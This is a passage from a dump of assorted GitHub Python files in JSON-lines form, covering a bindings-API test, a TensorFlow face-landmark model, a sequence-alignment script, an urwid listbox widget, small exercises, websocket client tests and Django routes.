\"\"\"\n#include \"ffig/attributes.h\"\n\nstruct FFIG_EXPORT Asset\n{\n virtual FFIG_EXPORT_NAME(value) double PV() const = 0;\n virtual FFIG_PROPERTY_NAME(name) const char* id() const = 0;\n};\n virtual ~Asset() = default;\n\nstruct FFIG_NAME(CDO) CollateralisedDebtObligation : Asset\n{\n CollateralisedDebtObligation() {}\n\n double PV() const override { return 99.99; }\n const char* id() const override { return \"CDO\"; }\n};\n\"\"\"\n\npayload = {'module_name': \"test\", 'inp_file': source,\n \"bindings_to_generate\": [\"py3\"]}\n\nr = requests.post(\n \"http://127.0.0.1:5000/api/gen_bindings_from_tu\", data=payload)\n\nassert r.status_code == requests.codes.ok\n \njson_resp = r.json()\ndiffer = difflib.Differ()\nbinding_from_api = json_resp['res'].splitlines()\nres = list(differ.compare(binding_from_api, expected_binding))\nfor line in res:\n # Each line of a Differ delta begins with a two-letter code.\n # ' ' represents a line common to both sequences.\n assert line[0:2] == ' '\n","repo_name":"FFIG/rest-api","sub_path":"requests_at_explorer.py","file_name":"requests_at_explorer.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29946212028","text":"from pprint import pprint\nfrom .base import Base\nfrom utils.io import load_BFM\nimport numpy as np\nimport tensorflow as tf\n\n\nclass SCRFDTDMMPostModel(tf.keras.Model):\n\n def __init__(self, tdmm_cfg, pred_model, n_objs, top_k_n, kp_thres,\n nms_iou_thres, resize_shape, *args, **kwargs):\n super(SCRFDTDMMPostModel, self).__init__(*args, **kwargs)\n self.n_R = tdmm_cfg['n_R']\n self.n_shp, self.n_exp = tdmm_cfg['n_shp'], tdmm_cfg['n_exp']\n pms = tf.cast(np.load(tdmm_cfg['pms_path']), tf.float32)\n pms_R = pms[:, :self.n_R]\n pms_shp, pms_exp = pms[:, self.n_R:self.n_R + self.n_shp], pms[:,\n 208:-3]\n pms = tf.concat([pms_R, pms_shp, pms_exp], axis=-1)\n self.pms = pms[:2, :]\n head_model = load_BFM(tdmm_cfg['model_path'])\n kpt_ind = head_model['kpt_ind']\n X_ind_all = np.stack([kpt_ind * 3, kpt_ind * 3 + 1, kpt_ind * 3 + 2])\n X_ind_all = tf.concat([\n X_ind_all[:, :17], X_ind_all[:, 17:27], X_ind_all[:, 36:48],\n X_ind_all[:, 27:36], X_ind_all[:, 48:68]\n ],\n axis=-1)\n valid_ind = tf.reshape(tf.transpose(X_ind_all), (-1))\n self.valid_ind = tf.cast(valid_ind, tf.int32)\n self.u_base = tf.cast(head_model['shapeMU'], tf.float32)\n self.u_base = tf.gather(self.u_base, self.valid_ind)\n self.u_base = tf.reshape(self.u_base,\n (tf.shape(self.u_base)[0] // 3, 3))\n self.u_base = tf.reshape(self.u_base, (tf.shape(self.u_base)[0] * 3, 1))\n self.shp_base = tf.cast(head_model['shapePC'],\n tf.float32)[:, :self.n_shp]\n self.shp_base = tf.gather(self.shp_base, self.valid_ind)\n self.exp_base = tf.cast(head_model['expPC'], tf.float32)\n self.exp_base = tf.gather(self.exp_base, self.valid_ind)\n self.pred_model = pred_model\n self.n_objs = n_objs\n self.top_k_n = top_k_n\n self.kp_thres = kp_thres\n self.nms_iou_thres = nms_iou_thres\n self.resize_shape = tf.cast(resize_shape, tf.float32)\n self.cls_out_channels = 2\n self._feat_stride_fpn = [8, 16, 32]\n self.num_levels = len(self._feat_stride_fpn)\n self.num_level_anchors = [3200, 800, 200]\n self._num_anchors = 2\n\n def call(self, x, training=False):\n imgs, origin_shapes = x\n batch_size = tf.shape(imgs)[0]\n self.resize_ratio = tf.cast(origin_shapes / self.resize_shape,\n tf.dtypes.float32)\n preds = self.pred_model(imgs, training=False)\n box_results, lnms_results = self._anchor_assign(batch_size,\n preds[\"multi_lv_feats\"])\n return box_results, lnms_results\n\n # @tf.function\n def _anchor_assign(self, batch_size, multi_lv_feats):\n b_bbox_outputs = -tf.ones(shape=(batch_size, self.n_objs,\n self.cls_out_channels, 5))\n b_lnmk_outputs = -tf.ones(shape=(batch_size, self.n_objs,\n self.cls_out_channels, 68, 2))\n obj_start_idx = 0\n bbox_list, lnmk_list = [], []\n idxs_list = []\n for i, (lv_feats,\n stride) in enumerate(zip(multi_lv_feats,\n self._feat_stride_fpn)):\n if i == 0:\n continue\n b_cls_preds, b_bbox_preds, b_param_preds = lv_feats\n b_cls_preds = tf.math.sigmoid(b_cls_preds)\n\n b_bbox_preds = tf.reshape(b_bbox_preds, [-1, 4])\n b_param_preds = tf.reshape(b_param_preds,\n [-1, self.n_R + self.n_shp + self.n_exp])\n b_mask = b_cls_preds > self.kp_thres\n btach_idxs = tf.cast(tf.where(b_mask == True), tf.int32)[:, :1]\n b_cls_preds = tf.reshape(b_cls_preds, [-1, self.cls_out_channels])\n mask = b_cls_preds > self.kp_thres\n idxs = tf.where(mask == True)\n channel_idxs = tf.cast(idxs, tf.int32)[:, -1:]\n b_cls_preds = tf.expand_dims(b_cls_preds[mask], axis=-1)\n b_bboxes = self.decode_bbox(batch_size, stride, idxs, b_bbox_preds)\n pred_R, pred_shp, pred_exp = self.decod_params(idxs, b_param_preds)\n n_lnmks = self.reconstruct_lnmks(batch_size, b_bboxes, pred_R,\n pred_shp, pred_exp)\n num_detected_objs = tf.math.reduce_sum(tf.cast(mask, tf.float32))\n obj_idxs = tf.range(num_detected_objs, dtype=tf.int32)[:, None]\n obj_idxs += obj_start_idx\n b_bboxes = tf.einsum('n c d, b d -> n c d', b_bboxes[..., ::-1],\n self.resize_ratio)\n b_bboxes = tf.reshape(b_bboxes, (-1, 4))\n b_bboxes = tf.concat([b_bboxes, b_cls_preds], axis=-1)\n idxs = tf.concat([btach_idxs, obj_idxs, channel_idxs], axis=-1)\n n_lnmks = tf.einsum('n c d, b d -> n c d', n_lnmks[..., ::-1],\n self.resize_ratio)\n bbox_list.append(b_bboxes[:, :-1])\n lnmk_list.append(n_lnmks)\n idxs_list.append(idxs)\n b_bbox_outputs = tf.tensor_scatter_nd_update(\n b_bbox_outputs, idxs, b_bboxes)\n bbox_tensor = tf.concat(bbox_list, axis=0)\n lnmk_tensor = tf.concat(lnmk_list, axis=0)\n idxs_tensor = tf.concat(idxs_list, axis=0)\n b_scores = b_bbox_outputs[..., -1]\n b_bbox_outputs = b_bbox_outputs[..., :-1]\n # [B, N, Cate, 4]\n nms_reuslt = tf.image.combined_non_max_suppression(\n b_bbox_outputs,\n b_scores,\n self.n_objs,\n self.n_objs,\n iou_threshold=self.nms_iou_thres,\n clip_boxes=False)\n box_results = tf.where(nms_reuslt[0] == -1., np.inf, nms_reuslt[0])\n\n search_tensors = tf.reshape(\n box_results, [-1, 4])[:, None, :] - bbox_tensor[None, :, :]\n search_mask = tf.math.reduce_all(search_tensors == 0.0, axis=-1)\n idxs = tf.where(search_mask == True)[:, -1:]\n lnmk_tensor = tf.gather_nd(lnmk_tensor, idxs)\n idxs_tensor = tf.gather_nd(idxs_tensor, idxs)\n\n box_results = tf.where((box_results - 1.) == -1., np.inf, box_results)\n b_bboxes = tf.concat(\n [box_results, nms_reuslt[1][..., None], nms_reuslt[2][..., None]],\n axis=-1)\n b_bboxes = tf.where(b_bboxes == -1., np.inf, b_bboxes)\n b_bboxes = tf.reshape(b_bboxes, [-1, self.n_objs, 6])\n\n b_lnmk_outputs = tf.tensor_scatter_nd_update(b_lnmk_outputs,\n idxs_tensor, lnmk_tensor)\n b_lnmk_outputs = tf.where(b_lnmk_outputs == -1., np.inf, b_lnmk_outputs)\n return b_bboxes, b_lnmk_outputs\n\n def decod_params(self, idxs, b_param_preds):\n b_param_preds = tf.gather_nd(b_param_preds, idxs[:, 0][:, None])\n b_param_preds = b_param_preds * self.pms[1][None, :] + self.pms[0][\n None, :]\n R = b_param_preds[:, :self.n_R]\n shp = b_param_preds[:, self.n_R:self.n_R + self.n_shp]\n exp = b_param_preds[:, self.n_R + self.n_shp:]\n return R, shp, exp\n\n def decode_bbox(self, batch_size, stride, idxs, b_bbox_preds):\n b_bbox_preds = b_bbox_preds * stride\n height = self.resize_shape[0] // stride\n width = self.resize_shape[1] // stride\n X, Y = tf.meshgrid(tf.range(0, width), tf.range(0, height))\n anchor_centers = tf.stack([X, Y], axis=-1)\n anchor_centers = tf.reshape((anchor_centers * stride), (-1, 2))\n\n if self._num_anchors > 1:\n anchor_centers = tf.reshape(\n tf.stack([anchor_centers] * self._num_anchors, axis=1), (-1, 2))\n\n anchor_centers = tf.cast(anchor_centers, tf.float32)\n anchor_centers = tf.tile(anchor_centers[None, ...], (batch_size, 1, 1))\n anchor_centers = tf.reshape(anchor_centers, (-1, 2))\n b_bboxes = self.distance2bbox(anchor_centers, b_bbox_preds)\n b_bboxes = tf.gather_nd(b_bboxes, idxs[:, :1])\n b_bboxes = tf.reshape(b_bboxes, (-1, 2, 2))\n return b_bboxes\n\n def reconstruct_lnmks(self, batch_size, b_bboxes, R, shp, exp):\n n_lnmks = self.u_base + tf.linalg.matmul(\n self.shp_base, shp[..., None]) + tf.linalg.matmul(\n self.exp_base, exp[..., None])\n n_lnmks = tf.reshape(n_lnmks, (-1, tf.shape(n_lnmks)[-2] // 3, 3))\n R = tf.reshape(R, [-1, 3, 3])\n n_lnmks = tf.linalg.matmul(n_lnmks, R, transpose_b=(0, 2, 1))\n n_lnmks = n_lnmks[..., :2]\n n_lnmk_tls = tf.math.reduce_min(n_lnmks, axis=-2, keepdims=True)\n n_lnmk_brs = tf.math.reduce_max(n_lnmks, axis=-2, keepdims=True)\n n_bbox_tls = b_bboxes[:, :1, :]\n n_bbox_brs = b_bboxes[:, 1:, :]\n n_lnmks_wh = n_lnmk_brs - n_lnmk_tls\n n_bbox_wh = n_bbox_brs - n_bbox_tls\n n_scales = n_bbox_wh / n_lnmks_wh\n n_lnmks = tf.math.abs(n_scales) * n_lnmks\n return n_lnmks[..., :2]\n\n def distance2bbox(self, points, distance, max_shape=None):\n \"\"\"Decode distance prediction to bounding box.\n Args:\n points (Tensor): Shape (n, 2), [x, y].\n distance (Tensor): Distance from the given point to 4\n boundaries (left, top, right, bottom).\n max_shape (tuple): Shape of the image.\n\n Returns:\n Tensor: Decoded bboxes.\n \"\"\"\n x1 = points[..., 0] - distance[..., 0]\n y1 = points[..., 1] - distance[..., 1]\n x2 = points[..., 0] + distance[..., 2]\n y2 = points[..., 1] + distance[..., 3]\n if max_shape is not None:\n x1 = tf.clip_by_value(x1,\n clip_value_min=0,\n clip_value_max=max_shape[1])\n y1 = tf.clip_by_value(y1,\n clip_value_min=0,\n clip_value_max=max_shape[0])\n x2 = tf.clip_by_value(x2,\n clip_value_min=0,\n clip_value_max=max_shape[1])\n y2 = tf.clip_by_value(y2,\n clip_value_min=0,\n clip_value_max=max_shape[0])\n return tf.stack([x1, y1, x2, y2], axis=-1)\n","repo_name":"a0910257137/behavior_predictor","sub_path":"core/scrfdtdmm_model.py","file_name":"scrfdtdmm_model.py","file_ext":"py","file_size_in_byte":10500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"2201331454","text":"from Bio import SeqIO, AlignIO, Seq, SeqRecord\nfrom Bio.Align.Applications import ClustalwCommandline\nfrom Bio.Application import ApplicationError\nfrom Bio.Align.Applications import MuscleCommandline\nimport argparse\nfrom enum import Enum\nimport subprocess\nfrom shutil import which\n\nclass MSA(Enum):\n CLUSTALW = 1\n MUSCLE = 2\n\ndef isMethodInstalled(method):\n if method == MSA.CLUSTALW:\n return which(\"clustalw2\") is not None\n elif method == MSA.MUSCLE:\n return which(\"muscle\") is not None\n else:\n return False\n\ndef msa(in_file, out_file, method):\n \n if method == MSA.CLUSTALW:\n cline = ClustalwCommandline(\"clustalw2\",infile=in_file, outfile=out_file)\n\n elif method == MSA.MUSCLE:\n command = [\"muscle\", \"-align\", in_file, \"-output\", out_file]\n cline = lambda : subprocess.run(command, check=True) \n \n else: \n print(\"Error: Invalid MSA method\")\n exit(1)\n\n try:\n if not isMethodInstalled(method):\n print(f\"Error: Unable to run {method.name}. Make sure is installed\")\n exit(1)\n cline()\n except ApplicationError:\n print(f\"Error: Unable to run {method.name}. Make sure is installed\")\n exit(1)\n except OSError as e:\n print(f\"Error: Unable to open {in_file}: {e}\")\n exit(1)\n\nif \"__main__\" == __name__:\n\n parser = argparse.ArgumentParser(prog=\"ej3.py\", description=\"Execute Multiple Sequence Alignment with Clustawl or Muscle\")\n parser.add_argument(\"--method\", help=\"MSA method (clustalw or muscle)\", type=str, required=True, choices=[\"clustalw\", \"muscle\"])\n parser.add_argument(\"--input\", help=\"Input file (.fas)\", type=str, required=True)\n parser.add_argument(\"--output\", help=\"Output file\", type=str, required=True)\n\n args = parser.parse_args()\n in_file = args.input\n out_file = args.output\n\n extension = args.input.split(\".\")[-1]\n if extension != \"fas\" and extension != \"fasta\": \n print(\"Error: Please enter .fas or .fasta file\") \n exit(1) \n\n method = MSA.CLUSTALW if args.method == \"clustalw\" else MSA.MUSCLE\n msa(in_file, out_file, method)","repo_name":"eugepineiro/bioinformatica","sub_path":"ej3.py","file_name":"ej3.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"38884856074","text":"from typing import Optional, Callable\n\nfrom urwid_utils.palette import *\nimport urwid\n\nfrom .logger import get_logger\nfrom .user_input import MouseButton, MouseState, MouseEvent\n\nlogger = get_logger()\n\n\n__all__ = [\"ScrollingListBox\"]\n\n\nclass ListBoxScrollBar(urwid.WidgetWrap):\n def __init__(self, parent):\n self.parent = parent\n self.pile = urwid.Pile([])\n super(ListBoxScrollBar, self).__init__(self.pile)\n\n def update(self, size):\n width, height = size\n scroll_marker_height = 1\n del self.pile.contents[:]\n\n if (len(self.parent.body) and self.parent.row_count and\n self.parent.focus is not None and self.parent.row_count > height):\n scroll_position = int(self.parent.focus_position / self.parent.row_count * height)\n scroll_marker_height = max(height * (height / self.parent.row_count), 1)\n else:\n scroll_position = -1\n\n pos_marker = urwid.AttrMap(urwid.Text(\" \"), {None: \"scroll_pos\"})\n down_marker = urwid.AttrMap(urwid.Text(u\"\\N{DOWNWARDS ARROW}\"), {None: \"scroll_marker\"})\n begin_marker = urwid.AttrMap(urwid.Text(u\"\\N{CIRCLED MINUS}\"), {None: \"scroll_marker\"})\n end_marker = urwid.AttrMap(urwid.Text(u\"\\N{CIRCLED PLUS}\"), {None: \"scroll_marker\"})\n view_marker = urwid.AttrMap(urwid.Text(\" \"), {None: \"scroll_view\"})\n bg_marker = urwid.AttrMap(urwid.Text(\" \"), {None: \"scroll_bg\"})\n\n for i in range(height):\n if abs(i - scroll_position) <= scroll_marker_height // 2:\n if i == 0 and self.parent.focus_position == 0:\n marker = begin_marker\n elif i + 1 == height and self.parent.row_count == self.parent.focus_position+1:\n marker = end_marker\n elif len(self.parent.body) == self.parent.focus_position + 1 \\\n and i == scroll_position + scroll_marker_height // 2:\n marker = down_marker\n else:\n marker = pos_marker\n else:\n if i < scroll_position:\n marker = view_marker\n elif self.parent.row_count and i / height < (len(self.parent.body) / self.parent.row_count):\n marker = view_marker\n else:\n marker = bg_marker\n\n self.pile.contents.append((urwid.Filler(marker), self.pile.options(\"weight\", 1)))\n\n self._invalidate()\n\n def selectable(self):\n # FIXME: mouse click/drag\n return False\n\n\nclass ScrollingListBox(urwid.WidgetWrap):\n signals = [\"select\", \"drag_start\", \"drag_continue\", \"drag_stop\", \"load_more\"]\n SCROLL_WHEEL_HEIGHT_RATIO = 0.5\n\n def __init__(self, body: urwid.Widget,\n infinite: bool = False,\n with_scrollbar: bool = False,\n row_count_fn: Optional[Callable] = None):\n self.infinite = infinite\n self.with_scrollbar = with_scrollbar\n self.row_count_fn = row_count_fn\n\n self.mouse_state: MouseState = MouseState.released\n self.drag_from = None\n self.drag_last = None\n self.drag_to = None\n self.load_more = False\n self.width: int = 0\n self.height: int = 0\n self.page: int = 0\n\n self.queued_keypress = None\n\n self.listbox = urwid.ListBox(body)\n self.columns = urwid.Columns([('weight', 1, self.listbox)])\n\n if self.with_scrollbar:\n self.scroll_bar = ListBoxScrollBar(self)\n self.columns.contents.append((self.scroll_bar, self.columns.options(\"given\", 1)))\n\n super(ScrollingListBox, self).__init__(self.columns)\n\n def mouse_event(self, size, event: str, button: int, col: int, row: int, focus: bool):\n if row < 0 or row >= self.height:\n return\n\n if event == MouseEvent.press:\n if button == MouseButton.left_button:\n self.mouse_state = MouseState.pressed\n self.drag_from = self.drag_last = (col, row)\n\n elif button == MouseButton.scroll_wheel_up:\n pos = self.listbox.focus_position - int(self.height * self.SCROLL_WHEEL_HEIGHT_RATIO)\n if pos < 0:\n pos = 0\n self.listbox.focus_position = pos\n self.listbox.make_cursor_visible(size)\n self._invalidate()\n\n elif button == MouseButton.scroll_wheel_down:\n pos = self.listbox.focus_position + int(self.height * self.SCROLL_WHEEL_HEIGHT_RATIO)\n if pos > len(self.listbox.body) - 1:\n if self.infinite:\n self.load_more = True\n pos = len(self.listbox.body) - 1\n self.listbox.focus_position = pos\n self.listbox.make_cursor_visible(size)\n self._invalidate()\n\n elif event == MouseEvent.drag:\n if self.drag_from is None:\n return\n\n if button == MouseButton.left_button:\n self.drag_to = (col, row)\n if self.mouse_state == MouseState.pressed:\n self.mouse_state = MouseState.dragging\n urwid.signals.emit_signal(self, \"drag_start\", self, self.drag_from)\n else:\n urwid.signals.emit_signal(self, \"drag_continue\", self, self.drag_last, self.drag_to)\n\n self.drag_last = (col, row)\n\n elif event == MouseEvent.release:\n if self.mouse_state == MouseState.dragging:\n self.drag_to = (col, row)\n urwid.signals.emit_signal(self, \"drag_stop\", self, self.drag_from, self.drag_to)\n self.mouse_state = MouseState.released\n\n return super(ScrollingListBox, self).mouse_event(size, event, button, col, row, focus)\n\n def keypress(self, size, key: str):\n command = self._command_map[key]\n if not command:\n return super(ScrollingListBox, self).keypress(size, key)\n\n # down, page down at end trigger load of more data\n if (\n command in [\"cursor down\", \"cursor page down\"]\n and self.infinite\n and (\n not len(self.body)\n or self.focus_position == len(self.body) - 1)\n ):\n self.load_more = True\n self.queued_keypress = key\n self._invalidate()\n\n elif command == \"activate\":\n urwid.signals.emit_signal(self, \"select\", self, self.selection)\n\n return super(ScrollingListBox, self).keypress(size, key)\n\n @property\n def selection(self):\n if len(self.body):\n return self.body[self.focus_position]\n\n def render(self, size, focus: bool = False):\n max_column: int = size[0]\n max_row: Optional[int] = size[1] if len(size) > 1 else None\n\n self.width = max_column\n if max_row:\n self.height = max_row\n\n if self.load_more and len(self.body) == 0 or \"bottom\" in self.ends_visible((max_column, max_row)):\n self.load_more = False\n self.page += 1\n try:\n focus = self.focus_position\n except IndexError:\n focus = None\n\n urwid.signals.emit_signal(self, \"load_more\", focus)\n\n if self.queued_keypress and focus and focus < len(self.body):\n self.keypress(size, self.queued_keypress)\n self.queued_keypress = None\n\n if self.with_scrollbar and len(self.body):\n self.scroll_bar.update(size)\n\n return super(ScrollingListBox, self).render(size, focus)\n\n def disable(self):\n self._selectable = False\n\n def enable(self):\n self._selectable = True\n\n @property\n def contents(self):\n return self.columns.contents\n\n @property\n def focus(self):\n return self.listbox.focus\n\n @property\n def focus_position(self):\n if not len(self.listbox.body):\n raise IndexError\n if len(self.listbox.body):\n return self.listbox.focus_position\n return None\n\n @focus_position.setter\n def focus_position(self, value):\n if not len(self.body):\n return\n self.listbox.focus_position = value\n self.listbox._invalidate()\n\n @property\n def row_count(self):\n if self.row_count_fn:\n return self.row_count_fn()\n return len(self.body)\n\n def __getattr__(self, attr):\n if attr in [\"ends_visible\", \"focus_position\", \"set_focus\", \"set_focus_valign\", \"body\", \"focus\"]:\n return getattr(self.listbox, attr)\n raise AttributeError(attr)\n\n @classmethod\n def get_palette_entries(cls):\n return {\n \"scroll_pos\": PaletteEntry(\n mono=\"white\",\n foreground=\"black\",\n background=\"white\",\n foreground_high=\"black\",\n background_high=\"white\"\n ),\n \"scroll_marker\": PaletteEntry(\n mono=\"white,bold\",\n foreground=\"black,bold\",\n background=\"white\",\n foreground_high=\"black,bold\",\n background_high=\"white\"\n ),\n \"scroll_view\": PaletteEntry(\n mono=\"black\",\n foreground=\"black\",\n background=\"light gray\",\n foreground_high=\"black\",\n background_high=\"g50\"\n ),\n \"scroll_bg\": PaletteEntry(\n mono=\"black\",\n foreground=\"light gray\",\n background=\"dark gray\",\n foreground_high=\"light gray\",\n background_high=\"g23\"\n ),\n\n }\n","repo_name":"emreay-/bank-statement-wizard","sub_path":"src/bank_statement_wizard/thirdparty/panwid/listbox.py","file_name":"listbox.py","file_ext":"py","file_size_in_byte":9745,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"23208345593","text":"def to_ternary(n):\n result = []\n while n > 0:\n result.append(str(n % 3))\n n //= 3\n return \"\".join(result[::-1])\n\ndef to_decimal(n: str):\n decimal = 0\n for i in range(len(n)):\n decimal += int(n[i]) * (3 ** (len(n) - 1 - i))\n return decimal\n\ndef solution(n):\n ternary = to_ternary(n)\n flipped_ternary = ternary[::-1]\n answer = to_decimal(flipped_ternary)\n return answer\n\nn = 45\nprint(solution(n))\n","repo_name":"AppleYoujatea/OriginalApplePie","sub_path":"2nd_quarter/week05/pepe/3진법만들기.py","file_name":"3진법만들기.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"40466495298","text":"import random\r\nimport plotly.express as px\r\nimport plotly.figure_factory as ff\r\nimport statistics\r\n\r\ndice_result=[]\r\ncount=[]\r\nfor i in range(0,1000):\r\n dice1=random.randint(1,6)\r\n dice2=random.randint(1,6)\r\n dice_result.append(dice1+dice2)\r\n count.append(i)\r\nmean=sum(dice_result)/len(dice_result)\r\nstd_deviation=statistics.stdev(dice_result)\r\nmedian=statistics.median(dice_result)\r\nmode=statistics.mode(dice_result)\r\nprint(mean)\r\nprint(std_deviation)\r\nprint(median)\r\nprint(mode)\r\nfirst_std_dev_start, first_std_dev_end = mean-std_deviation, mean+std_deviation\r\nsec_std_dev_start, sec_std_dev_end = mean-(2*std_deviation), mean+(2*std_deviation)\r\nthi_std_dev_start, thi_std_dev_end = mean-(3*std_deviation), mean+(3*std_deviation)\r\nlist_of_data_within_1_std_deviation=[result for result in dice_result if result > first_std_dev_start and result < first_std_dev_end]\r\nlist_of_data_within_2_std_deviation=[result for result in dice_result if result > sec_std_dev_start and result < sec_std_dev_end]\r\nlist_of_data_within_3_std_deviation=[result for result in dice_result if result > thi_std_dev_start and result < thi_std_dev_end]\r\nprint(\"{}% of data lies within 1 standard deviation\".format(len(list_of_data_within_1_std_deviation)*100.0/len(dice_result)))\r\nprint(\"{}% of data lies within 2 standard deviation\".format(len(list_of_data_within_2_std_deviation)*100.0/len(dice_result)))\r\nprint(\"{}% of data lies within 3 standard deviation\".format(len(list_of_data_within_3_std_deviation)*100.0/len(dice_result)))","repo_name":"TanviLodhavia/Class_109","sub_path":"dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"20686976480","text":"#!/usr/bin/python3\ndef add_tuple(tuple_a=(), tuple_b=()):\n lent_a = len(tuple_a)\n lent_b = len(tuple_b)\n if lent_a == 0:\n a1 = 0\n b1 = 0\n elif lent_a < 2 and lent_a != 0:\n a1 = tuple_a[0]\n b1 = 0\n else:\n a1 = tuple_a[0]\n b1 = tuple_a[1]\n if lent_b == 0:\n a2 = 0\n b2 = 0\n elif lent_b < 2 and lent_b != 0:\n a2 = tuple_b[0]\n b2 = 0\n else:\n a2 = tuple_b[0]\n b2 = tuple_b[1]\n new_tuple = (a1 + a2, b1 + b2)\n return new_tuple\n","repo_name":"XimeonLeo/alx-higher_level_programming","sub_path":"0x03-python-data_structures/7-add_tuple.py","file_name":"7-add_tuple.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"3305823767","text":"import sys\nsys.path.append(\"..\")\nfrom client import SAVNConnectionAssistant\nimport json\nimport unittest\nimport asyncio\nfrom unittest.mock import Mock\n\nclass AsyncMock(Mock):\n def __call__(self, *args, **kwargs):\n parent = super(AsyncMock, self)\n async def coro():\n return parent.__call__(*args, **kwargs)\n return coro()\n\n def __await__(self):\n return self().__await__()\n\nclass TestFrameworkClientMethods(unittest.TestCase):\n def setUp(self):\n self.connection = SAVNConnectionAssistant(42)\n self.connection.alive = True\n self.connection.ws = Mock()\n self.loop = asyncio.get_event_loop()\n\n def test_updateState(self):\n state = {\"car\": 1}\n timestamp = 0\n packet = {'type': 'simulation-state-update',\n 'content':\n {'simulationID': self.connection.simulationID,\n 'timestamp': timestamp,\n 'objects': state,\n 'frameworkID': 0}}\n self.connection.updateState(timestamp, state, sleepTime=0)\n message = self.loop.run_until_complete(self.connection.fetchMessage())\n self.assertEqual(packet, message)\n\n def test_message_reception(self):\n self.loop.run_in_executor = Mock()\n msg = {'content': 'fish'}\n async def op():\n return json.dumps(msg)\n self.connection.ws.recv = op\n self.loop.run_until_complete(self.connection.handler())\n self.loop.run_in_executor.assert_called_with(None,\n self.connection.onMessage,{'content': 'fish'})\n\n def test_messageQueue_drainage(self):\n self.loop.run_in_executor = Mock()\n packet = {'content': 'fish'}\n async def op():\n await asyncio.sleep(100)\n self.connection.ws.recv = op\n self.connection.send_packet = AsyncMock()\n msg = json.dumps(packet)\n self.connection.messageQueue.put_nowait(msg)\n self.loop.run_until_complete(self.connection.handler())\n self.connection.send_packet.assert_called_with(msg)\n\n def test_simulationRun(self):\n self.connection.handleSimulationRun = Mock()\n packet = {'type': 'simulation-start-parameters', 'content': {'frameworkID': 0}}\n self.connection.onMessage(packet)\n self.connection.handleSimulationRun.assert_called_with(packet['content'])\n\n def test_simulationStop(self):\n self.connection.handleSimulationStop = Mock()\n packet = {'type': 'framework-disconnect', 'content': {}}\n self.connection.onMessage(packet)\n self.connection.handleSimulationStop.assert_called_with(packet['content'])\n\n def test_simulationDataUpdate(self):\n self.connection.handleSimulationDataUpdate = Mock()\n packet = {'type': 'simulation-update', 'content': {}}\n self.connection.onMessage(packet)\n self.connection.handleSimulationDataUpdate.assert_called_with(packet['content'])\n","repo_name":"franklinsch/driverlesscarsimulations","sub_path":"framework/test/client_test.py","file_name":"client_test.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"} +{"seq_id":"21821346625","text":"from pickle import load\n\n# load doc into memory\ndef load_doc(filename):\n\t# open the file as read only\n\tfile = open(filename, 'r')\n\t# read all text\n\ttext = file.read()\n\t# close the file\n\tfile.close()\n\treturn text\n\n# load a pre-defined list of photo identifiers\ndef load_set(filename):\n\tdoc = load_doc(filename)\n\tdataset = list()\n\t# process line by line\n\tfor line in doc.split('\\n'):\n\t\t# skip empty lines\n\t\tif len(line) < 1:\n\t\t\tcontinue\n\t\t# get the image identifier\n\t\tidentifier = line.split('.')[0]\n\t\tdataset.append(identifier)\n\treturn set(dataset)\n\n# load clean descriptions into memory\ndef load_clean_descriptions(filename, dataset):\n\t# load document\n\tdoc = load_doc(filename)\n\tdescriptions = dict()\n\tfor line in doc.split('\\n'):\n\t\t# split line by white space\n\t\ttokens = line.split()\n\t\t# split id from description\n\t\timage_id, image_desc = tokens[0], tokens[1:]\n\t\t# skip images not in the set\n\t\tif image_id in dataset:\n\t\t\t# create list\n\t\t\tif image_id not in descriptions:\n\t\t\t\tdescriptions[image_id] = list()\n\t\t\t# wrap description in tokens\n\t\t\tdesc = 'startseq ' + ' '.join(image_desc) + ' endseq'\n\t\t\t# store\n\t\t\tdescriptions[image_id].append(desc)\n\treturn descriptions\n\n# load photo features\ndef load_photo_features(filename, dataset):\n\t# load all features\n\tall_features = load(open(filename, 'rb'))\n\t# filter features\n\tfeatures = {k: all_features[k] for k in dataset}\n\treturn features\n\n# load training dataset (6K)\nfilename = 'Flickr8k_text/Flickr_8k.trainImages.txt'\ntrain = load_set(filename)\nprint('Dataset: %d' % len(train))\n# descriptions\ntrain_descriptions = load_clean_descriptions('descriptions.txt', train)\nprint('Descriptions: train=%d' % len(train_descriptions))\n# photo features\ntrain_features = load_photo_features('features.pkl', train)\nprint('Photos: train=%d' % len(train_features))","repo_name":"enuguru/aiandml","sub_path":"nlp/code/chapter_26/3_load_prepared_data.py","file_name":"3_load_prepared_data.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"79"} +{"seq_id":"29691122025","text":"from django.conf.urls import url, include\nfrom . import views\n\nurlpatterns = [\n url(r'^photos/$', views.photos, name = 'photos'),\n url(r'^videos/$', views.seasons, name = 'seasons'),\n url(r'^videos/(?P\\d+)/$', views.season_videos, name = 'season_videos'),\n url(r'^artists/$', views.artists, name='artists'),\n url(r'^about/$', views.about, name='about'),\n\n]","repo_name":"RoikYurii/brooklyn99","sub_path":"content/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"70598726335","text":"from __future__ import unicode_literals\n\nfrom django.contrib import admin\nfrom mptt.admin import MPTTModelAdmin\nfrom .models import Taxon\nfrom .models import Upload_dwca\nfrom .models import DwcaTaxon\nfrom .models import DwcaDistribution\nfrom .models import DwcaResourceRelationship\nfrom .models import DwcaVernacular\nfrom .models import RawName\nfrom .models import RawNameAdmin\nfrom .models import NameFinderResult\nfrom .models import 